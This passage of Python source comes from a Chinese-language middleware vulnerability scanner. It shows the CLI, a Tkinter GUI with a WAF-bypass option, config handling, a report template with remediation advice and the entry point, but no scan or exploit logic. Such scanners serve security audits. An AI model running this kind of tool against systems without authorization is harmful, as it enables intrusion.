        print(f"{Fore.GREEN}开始高级扫描...{Style.RESET_ALL}")
        targets = [url]
        scanner = MiddlewareScanner(targets, threads=threads, proxy=proxy)
        vulnerabilities = scanner.run()
        
        print(f"\n{Fore.GREEN}扫描完成，发现 {len(vulnerabilities)} 个漏洞{Style.RESET_ALL}")
        for vuln in vulnerabilities:
            print(f"{Fore.RED}[{vuln['severity']}] {vuln['vuln']}{Style.RESET_ALL}")
            print(f"  URL: {vuln['url']}")
            print(f"  详情: {vuln['detail']}")
            print()

    def verify_vulnerabilities(self):
        """漏洞验证"""
        print(f"{Fore.YELLOW}漏洞验证功能{Style.RESET_ALL}")
        print("此功能用于验证已发现的漏洞")

    def generate_report(self):
        """生成报告"""
        print(f"{Fore.YELLOW}报告生成功能{Style.RESET_ALL}")
        print("此功能用于生成详细的漏洞报告")

    def config_management(self):
        """配置管理"""
        print(f"{Fore.YELLOW}配置管理功能{Style.RESET_ALL}")
        print("此功能用于管理扫描配置")

    def view_history(self):
        """查看历史记录"""
        print(f"{Fore.YELLOW}历史记录功能{Style.RESET_ALL}")
        print("此功能用于查看历史扫描记录")

    def show_help(self):
        """显示帮助"""
        help_text = f"""
{Fore.CYAN}使用帮助:{Style.RESET_ALL}

1. 快速扫描: 输入单个URL进行基本检测
2. 高级扫描: 自定义线程数、超时时间、代理等参数
3. 漏洞验证: 对已发现的漏洞进行二次验证
4. 生成报告: 生成详细的HTML或JSON格式报告
5. 配置管理: 保存和加载扫描配置
6. 历史记录: 查看之前的扫描结果

{Fore.YELLOW}支持的中间件:{Style.RESET_ALL}
- Shiro, Struts2, WebLogic, Tomcat, IIS
- SpringBoot, JBoss, Nginx, Apache
- Fastjson, Druid

{Fore.RED}注意: 仅用于授权测试{Style.RESET_ALL}
"""
        print(help_text)

# ===========================
# GUI界面
# ===========================

class GUIApp:
    def __init__(self, root):
        self.root = root
        self.root.title("Middleware Vulnerability Hunter Pro v2.0")
        self.root.geometry("1200x800")
        
        self.config_manager = ConfigurationManager()
        self.current_scanner = None
        
        self.setup_style()
        self.create_widgets()
        self.load_config()
    
    def setup_style(self):
        style = ttk.Style()
        style.theme_use('clam')
        style.configure("TFrame", background="#2b2b2b")
        style.configure("TLabel", background="#2b2b2b", foreground="white", font=("Arial", 10))
        style.configure("TButton", background="#007acc", foreground="white", font=("Arial", 10, "bold"))
        style.map("TButton", background=[('active', '#005f9e')])
        style.configure("TCheckbutton", background="#2b2b2b", foreground="white")
        style.configure("TRadiobutton", background="#2b2b2b", foreground="white")
    
    def create_widgets(self):
        # 创建选项卡
        self.notebook = ttk.Notebook(self.root)
        self.notebook.pack(fill=tk.BOTH, expand=True, padx=10, pady=10)
        
        # 扫描选项卡
        self.scan_frame = ttk.Frame(self.notebook)
        self.notebook.add(self.scan_frame, text="扫描")
        
        # 配置选项卡
        self.config_frame = ttk.Frame(self.notebook)
        self.notebook.add(self.config_frame, text="配置")
        
        # 结果选项卡
        self.results_frame = ttk.Frame(self.notebook)
        self.notebook.add(self.results_frame, text="结果")
        
        # 报告选项卡
        self.report_frame = ttk.Frame(self.notebook)
        self.notebook.add(self.report_frame, text="报告")
        
        self.setup_scan_tab()
        self.setup_config_tab()
        self.setup_results_tab()
        self.setup_report_tab()
    
    def setup_scan_tab(self):
        """设置扫描选项卡"""
        # 目标输入
        target_frame = ttk.LabelFrame(self.scan_frame, text="目标设置")
        target_frame.pack(fill=tk.X, padx=10, pady=5)
        
        ttk.Label(target_frame, text="目标URL:").grid(row=0, column=0, padx=5, pady=5)
        self.url_var = tk.StringVar()
        ttk.Entry(target_frame, textvariable=self.url_var, width=50).grid(row=0, column=1, padx=5, pady=5)
        
        ttk.Label(target_frame, text="目标文件:").grid(row=1, column=0, padx=5, pady=5)
        self.file_var = tk.StringVar()
        ttk.Entry(target_frame, textvariable=self.file_var, width=50).grid(row=1, column=1, padx=5, pady=5)
        ttk.Button(target_frame, text="浏览", command=self.browse_file).grid(row=1, column=2, padx=5, pady=5)
        
        # 扫描控制
        control_frame = ttk.Frame(self.scan_frame)
        control_frame.pack(fill=tk.X, padx=10, pady=5)
        
        self.start_btn = ttk.Button(control_frame, text="🚀 开始扫描", command=self.start_scan_thread)
        self.start_btn.pack(side=tk.LEFT, padx=5)
        
        self.pause_btn = ttk.Button(control_frame, text="⏸ 暂停", command=self.toggle_pause, state=tk.DISABLED)
        self.pause_btn.pack(side=tk.LEFT, padx=5)
        
        self.stop_btn = ttk.Button(control_frame, text="⏹ 停止", command=self.stop_scan, state=tk.DISABLED)
        self.stop_btn.pack(side=tk.LEFT, padx=5)
        
        ttk.Button(control_frame, text="📁 加载配置", command=self.load_config).pack(side=tk.LEFT, padx=5)
        ttk.Button(control_frame, text="💾 保存配置", command=self.save_config).pack(side=tk.LEFT, padx=5)
        
        # 进度显示
        progress_frame = ttk.LabelFrame(self.scan_frame, text="扫描进度")
        progress_frame.pack(fill=tk.X, padx=10, pady=5)
        
        self.progress_var = tk.DoubleVar()
        self.progress_bar = ttk.Progressbar(progress_frame, variable=self.progress_var, maximum=100)
        self.progress_bar.pack(fill=tk.X, padx=10, pady=5)
        
        self.status_var = tk.StringVar(value="准备就绪")
        ttk.Label(progress_frame, textvariable=self.status_var).pack(pady=2)
        
        # 日志显示
        log_frame = ttk.LabelFrame(self.scan_frame, text="实时日志")
        log_frame.pack(fill=tk.BOTH, expand=True, padx=10, pady=5)
        
        self.log_text = scrolledtext.ScrolledText(log_frame, height=15)
        self.log_text.pack(fill=tk.BOTH, expand=True, padx=5, pady=5)
        
        # 配置日志颜色
        self.log_text.tag_config("INFO", foreground="blue")
        self.log_text.tag_config("SUCCESS", foreground="green")
        self.log_text.tag_config("WARNING", foreground="orange")
        self.log_text.tag_config("ERROR", foreground="red")
        self.log_text.tag_config("VULN", foreground="magenta", font=("Arial", 10, "bold"))
    
    def setup_config_tab(self):
        """设置配置选项卡"""
        # 扫描策略
        strategy_frame = ttk.LabelFrame(self.config_frame, text="扫描策略")
        strategy_frame.pack(fill=tk.X, padx=10, pady=5)
        
        # 中间件选择
        self.shiro_var = tk.BooleanVar(value=True)
        ttk.Checkbutton(strategy_frame, text="Shiro", variable=self.shiro_var).grid(row=0, column=0, sticky=tk.W, padx=5)
        
        self.struts2_var = tk.BooleanVar(value=True)
        ttk.Checkbutton(strategy_frame, text="Struts2", variable=self.struts2_var).grid(row=0, column=1, sticky=tk.W, padx=5)
        
        self.weblogic_var = tk.BooleanVar(value=True)
        ttk.Checkbutton(strategy_frame, text="WebLogic", variable=self.weblogic_var).grid(row=0, column=2, sticky=tk.W, padx=5)
        
        self.tomcat_var = tk.BooleanVar(value=True)
        ttk.Checkbutton(strategy_frame, text="Tomcat", variable=self.tomcat_var).grid(row=1, column=0, sticky=tk.W, padx=5)
        
        self.iis_var = tk.BooleanVar(value=True)
        ttk.Checkbutton(strategy_frame, text="IIS", variable=self.iis_var).grid(row=1, column=1, sticky=tk.W, padx=5)
        
        self.springboot_var = tk.BooleanVar(value=True)
        ttk.Checkbutton(strategy_frame, text="SpringBoot", variable=self.springboot_var).grid(row=1, column=2, sticky=tk.W, padx=5)
        
        self.jboss_var = tk.BooleanVar(value=True)
        ttk.Checkbutton(strategy_frame, text="JBoss", variable=self.jboss_var).grid(row=2, column=0, sticky=tk.W, padx=5)
        
        self.nginx_var = tk.BooleanVar(value=True)
        ttk.Checkbutton(strategy_frame, text="Nginx", variable=self.nginx_var).grid(row=2, column=1, sticky=tk.W, padx=5)
        
        self.apache_var = tk.BooleanVar(value=True)
        ttk.Checkbutton(strategy_frame, text="Apache", variable=self.apache_var).grid(row=2, column=2, sticky=tk.W, padx=5)
        
        self.fastjson_var = tk.BooleanVar(value=True)
        ttk.Checkbutton(strategy_frame, text="Fastjson", variable=self.fastjson_var).grid(row=3, column=0, sticky=tk.W, padx=5)
        
        self.druid_var = tk.BooleanVar(value=True)
        ttk.Checkbutton(strategy_frame, text="Druid", variable=self.druid_var).grid(row=3, column=1, sticky=tk.W, padx=5)
        
        # 性能配置
        perf_frame = ttk.LabelFrame(self.config_frame, text="性能配置")
        perf_frame.pack(fill=tk.X, padx=10, pady=5)
        
        ttk.Label(perf_frame, text="线程数:").grid(row=0, column=0, padx=5, pady=5)
        self.threads_var = tk.IntVar(value=10)
        ttk.Spinbox(perf_frame, from_=3, to=30, textvariable=self.threads_var, width=10).grid(row=0, column=1, padx=5, pady=5)
        
        ttk.Label(perf_frame, text="超时(秒):").grid(row=0, column=2, padx=5, pady=5)
        self.timeout_var = tk.IntVar(value=15)
        ttk.Spinbox(perf_frame, from_=5, to=60, textvariable=self.timeout_var, width=10).grid(row=0, column=3, padx=5, pady=5)
        
        # 代理配置
        proxy_frame = ttk.LabelFrame(self.config_frame, text="代理配置")
        proxy_frame.pack(fill=tk.X, padx=10, pady=5)
        
        ttk.Label(proxy_frame, text="代理地址:").grid(row=0, column=0, padx=5, pady=5)
        self.proxy_var = tk.StringVar()
        ttk.Entry(proxy_frame, textvariable=self.proxy_var, width=50).grid(row=0, column=1, padx=5, pady=5)
        
        # 高级选项
        advanced_frame = ttk.LabelFrame(self.config_frame, text="高级选项")
        advanced_frame.pack(fill=tk.X, padx=10, pady=5)
        
        self.verify_var = tk.BooleanVar(value=True)
        ttk.Checkbutton(advanced_frame, text="验证漏洞", variable=self.verify_var).grid(row=0, column=0, sticky=tk.W, padx=5)
        
        self.waf_bypass_var = tk.BooleanVar(value=True)
        ttk.Checkbutton(advanced_frame, text="WAF绕过", variable=self.waf_bypass_var).grid(row=0, column=1, sticky=tk.W, padx=5)
    
    def setup_results_tab(self):
        """设置结果选项卡"""
        # 结果显示
        results_frame = ttk.LabelFrame(self.results_frame, text="扫描结果")
        results_frame.pack(fill=tk.BOTH, expand=True, padx=10, pady=5)
        
        self.results_text = scrolledtext.ScrolledText(results_frame, height=25)
        self.results_text.pack(fill=tk.BOTH, expand=True, padx=5, pady=5)
    
    def setup_report_tab(self):
        """设置报告选项卡"""
        # 报告显示
        report_frame = ttk.LabelFrame(self.report_frame, text="报告管理")
        report_frame.pack(fill=tk.BOTH, expand=True, padx=10, pady=5)
        
        ttk.Button(report_frame, text="生成HTML报告", command=self.generate_html_report).pack(pady=10)
        ttk.Button(report_frame, text="生成PDF报告", command=self.generate_pdf_report).pack(pady=5)
        ttk.Button(report_frame, text="查看历史报告", command=self.view_history_reports).pack(pady=5)
        
        self.report_text = scrolledtext.ScrolledText(report_frame, height=20)
        self.report_text.pack(fill=tk.BOTH, expand=True, padx=5, pady=5)
    
    def browse_file(self):
        """浏览文件"""
        filename = filedialog.askopenfilename(
            title="选择目标文件",
            filetypes=[("Text files", "*.txt"), ("All files", "*.*")]
        )
        if filename:
            self.file_var.set(filename)
    
    def toggle_pause(self):
        if self.current_scanner:
            if self.current_scanner.scan_paused.is_set():
                self.current_scanner.scan_paused.clear()
                self.pause_btn.config(text="▶ 继续")
                self.status_var.set("已暂停")
            else:
                self.current_scanner.scan_paused.set()
                self.pause_btn.config(text="⏸ 暂停")
                self.status_var.set("扫描中...")
    
    def stop_scan(self):
        if self.current_scanner:
            self.current_scanner.scan_paused.clear()  # 确保扫描不被暂停
            self.status_var.set("停止中...")
            self.start_btn.config(state="normal")
            self.pause_btn.config(state="disabled")
            self.stop_btn.config(state="disabled")
    
    def start_scan_thread(self):
        targets = []
        
        # 从URL输入框获取
        url = self.url_var.get()
        if url:
            targets.append(url)
        
        # 从文件获取
        file_path = self.file_var.get()
        if file_path:
            try:
                with open(file_path, 'r', encoding='utf-8') as f:
                    targets.extend([line.strip() for line in f if line.strip()])
            except Exception as e:
                messagebox.showerror("错误", f"读取文件失败: {e}")
                return
        
        if not targets:
            messagebox.showerror("错误", "请提供扫描目标")
            return
        
        # 更新配置
        self.config_manager.config['threads'] = self.threads_var.get()
        self.config_manager.config['timeout'] = self.timeout_var.get()
        self.config_manager.config['scan_strategies']['shiro'] = self.shiro_var.get()
        self.config_manager.config['scan_strategies']['struts2'] = self.struts2_var.get()
        self.config_manager.config['scan_strategies']['weblogic'] = self.weblogic_var.get()
        self.config_manager.config['scan_strategies']['tomcat'] = self.tomcat_var.get()
        self.config_manager.config['scan_strategies']['iis'] = self.iis_var.get()
        self.config_manager.config['scan_strategies']['springboot'] = self.springboot_var.get()
        self.config_manager.config['scan_strategies']['jboss'] = self.jboss_var.get()
        self.config_manager.config['scan_strategies']['nginx'] = self.nginx_var.get()
        self.config_manager.config['scan_strategies']['apache'] = self.apache_var.get()
        self.config_manager.config['scan_strategies']['fastjson'] = self.fastjson_var.get()
        self.config_manager.config['scan_strategies']['druid'] = self.druid_var.get()
        self.config_manager.config['verify_vulnerabilities'] = self.verify_var.get()
        
        self.start_btn.config(state="disabled")
        self.pause_btn.config(state="normal")
        self.stop_btn.config(state="normal")
        self.log_text.delete(1.0, tk.END)
        
        t = threading.Thread(target=self.run_scan, args=(targets,))
        t.daemon = True
        t.start()
    
    def run_scan(self, targets):
        try:
            proxy = self.proxy_var.get() if self.proxy_var.get() else None
            self.current_scanner = MiddlewareScanner(targets, threads=self.threads_var.get(), proxy=proxy)
            vulnerabilities = self.current_scanner.run()
            
            # 显示结果
            self.results_text.delete(1.0, tk.END)
            if vulnerabilities:
                self.results_text.insert(tk.END, f"发现 {len(vulnerabilities)} 个漏洞:\n\n")
                for i, vuln in enumerate(vulnerabilities, 1):
                    self.results_text.insert(tk.END, f"{i}. [{vuln['severity']}] {vuln['vuln']}\n")
                    self.results_text.insert(tk.END, f"   URL: {vuln['url']}\n")
                    self.results_text.insert(tk.END, f"   详情: {vuln['detail']}\n\n")
            else:
                self.results_text.insert(tk.END, "未发现漏洞")
                
        except Exception as e:
            Logger.log(f"扫描错误: {e}", "ERROR", self.log_text)
        finally:
            self.start_btn.config(state="normal")
            self.pause_btn.config(state="disabled")
            self.stop_btn.config(state="disabled")
            self.status_var.set("扫描完成")
    
    def save_config(self):
        config = {
            'last_url': self.url_var.get(),
            'last_file': self.file_var.get(),
            'threads': self.threads_var.get(),
            'timeout': self.timeout_var.get(),
            'proxy': self.proxy_var.get(),
            'shiro': self.shiro_var.get(),
            'struts2': self.struts2_var.get(),
            'weblogic': self.weblogic_var.get(),
            'tomcat': self.tomcat_var.get(),
            'iis': self.iis_var.get(),
            'springboot': self.springboot_var.get(),
            'jboss': self.jboss_var.get(),
            'nginx': self.nginx_var.get(),
            'apache': self.apache_var.get(),
            'fastjson': self.fastjson_var.get(),
            'druid': self.druid_var.get(),
            'verify': self.verify_var.get(),
            'waf_bypass': self.waf_bypass_var.get()
        }
        with open('.mvh_config.json', 'w') as f:
            json.dump(config, f)
        messagebox.showinfo("成功", "配置已保存")
    
    def load_config(self):
        try:
            with open('.mvh_config.json', 'r') as f:
                config = json.load(f)
                self.url_var.set(config.get('last_url', ''))
                self.file_var.set(config.get('last_file', ''))
                self.threads_var.set(config.get('threads', 10))
                self.timeout_var.set(config.get('timeout', 15))
                self.proxy_var.set(config.get('proxy', ''))
                self.shiro_var.set(config.get('shiro', True))
                self.struts2_var.set(config.get('struts2', True))
                self.weblogic_var.set(config.get('weblogic', True))
                self.tomcat_var.set(config.get('tomcat', True))
                self.iis_var.set(config.get('iis', True))
                self.springboot_var.set(config.get('springboot', True))
                self.jboss_var.set(config.get('jboss', True))
                self.nginx_var.set(config.get('nginx', True))
                self.apache_var.set(config.get('apache', True))
                self.fastjson_var.set(config.get('fastjson', True))
                self.druid_var.set(config.get('druid', True))
                self.verify_var.set(config.get('verify', True))
                self.waf_bypass_var.set(config.get('waf_bypass', True))
        except:
            pass
    
    def generate_html_report(self):
        """生成HTML报告"""
        try:
            # 这里应该从扫描结果生成HTML报告
            html_content = """
            <html>
            <head>
                <title>MVH 扫描报告</title>
                <style>
                    body { font-family: 'Segoe UI', sans-serif; background: #1e1e1e; color: #d4d4d4; padding: 20px; }
                    .critical { background: #443232; border-left: 5px solid #ff4444; padding: 15px; margin: 10px 0; }
                    .high { background: #443f32; border-left: 5px solid #ffaa33; padding: 15px; margin: 10px 0; }
                    .medium { background: #323f44; border-left: 5px solid #44aaff; padding: 15px; margin: 10px 0; }
                    .low { background: #32443f; border-left: 5px solid #44ffaa; padding: 15px; margin: 10px 0; }
                    .remediation { background: #2c3e50; padding: 15px; border-radius: 8px; margin-top: 20px; }
                </style>
            </head>
            <body>
                <h1>MVH 中间件漏洞扫描报告</h1>
                <p><strong>扫描时间:</strong> """ + datetime.now().strftime("%Y-%m-%d %H:%M:%S") + """</p>
                <p><strong>总目标数:</strong> 1</p>
                <p><strong>发现漏洞:</strong> 0 个</p>
                
                <div class="remediation">
                    <h2>修复建议</h2>
                    <ol>
                        <li><strong>及时更新:</strong> 保持中间件版本最新，应用安全补丁</li>
                        <li><strong>最小权限:</strong> 使用最小权限原则运行中间件</li>
                        <li><strong>配置加固:</strong> 按照安全最佳实践配置中间件</li>
                        <li><strong>网络隔离:</strong> 将中间件部署在DMZ区域，限制访问权限</li>
                        <li><strong>监控审计:</strong> 启用详细日志记录，监控异常访问</li>
                    </ol>
                </div>
            </body>
            </html>
            """
            
            filename = f"mvh_report_{int(time.time())}.html"
            with open(filename, 'w', encoding='utf-8') as f:
                f.write(html_content)
            
            messagebox.showinfo("成功", f"HTML报告已生成: {filename}")
            webbrowser.open(filename)
        except Exception as e:
            messagebox.showerror("错误", f"生成报告失败: {e}")
    
    def generate_pdf_report(self):
        """生成PDF报告（需要额外的库）"""
        messagebox.showinfo("提示", "PDF报告功能需要安装reportlab库")
    
    def view_history_reports(self):
        """查看历史报告"""
        files = [f for f in os.listdir('.') if f.startswith('mvh_report_')]
        if files:
            report_text = "历史报告:\n\n" + "\n".join(files)
            self.report_text.delete(1.0, tk.END)
            self.report_text.insert(tk.END, report_text)
        else:
            self.report_text.delete(1.0, tk.END)
            self.report_text.insert(tk.END, "暂无历史报告")

# ===========================
# 主入口
# ===========================

def main():
    parser = argparse.ArgumentParser(description="Middleware Vulnerability Hunter Pro v2.0")
    parser.add_argument("--gui", action="store_true", help="启动图形界面")
    parser.add_argument("--cli", action="store_true", help="启动交互式CLI")
    parser.add_argument("-u", "--url", help="单个目标 URL")
    parser.add_argument("-f", "--file", help="包含目标 URL 的文件路径 (一行一个)")
    parser.add_argument("-t", "--threads", type=int, default=10, help="并发线程数")
    parser.add_argument("-p", "--proxy", help="代理地址 (e.g., http://127.0.0.1:8080)")
    
    args = parser.parse_args()

    if args.gui:
        root = tk.Tk()
        app = GUIApp(root)
        root.mainloop()
    elif args.cli or len(sys.argv) == 1:
        cli = InteractiveCLI()
        cli.run()
    elif args.url or args.file:
        targets = []
        if args.url:
            targets.append(args.url)
        if args.file:
            try:
                with open(args.file, 'r', encoding='utf-8') as f:
                    targets.extend([line.strip() for line in f if line.strip()])
            except Exception as e:
                print(f"{Fore.RED}读取文件失败: {e}{Style.RESET_ALL}")
                sys.exit(1)

        if not targets:
            print(f"{Fore.YELLOW}未指定目标! 请使用 -u 或 -f 参数。{Style.RESET_ALL}")
            parser.print_help()
            sys.exit(1)

        print(f"{Fore.YELLOW}法律声明: 本工具仅供授权测试使用，禁止用于非法攻击。{Style.RESET_ALL}\n")
        
        scanner = MiddlewareScanner(targets, threads=args.threads, proxy=args.proxy)
        try:
            vulnerabilities = scanner.run()
            print(f"\n{Fore.GREEN}扫描完成，发现 {len(vulnerabilities)} 个漏洞{Style.RESET_ALL}")
        except KeyboardInterrupt:
            print(f"\n{Fore.RED}用户中断扫描。{Style.RESET_ALL}")
            sys.exit(0)
    else:
        parser.print_help()

if __name__ == "__main__":
    main()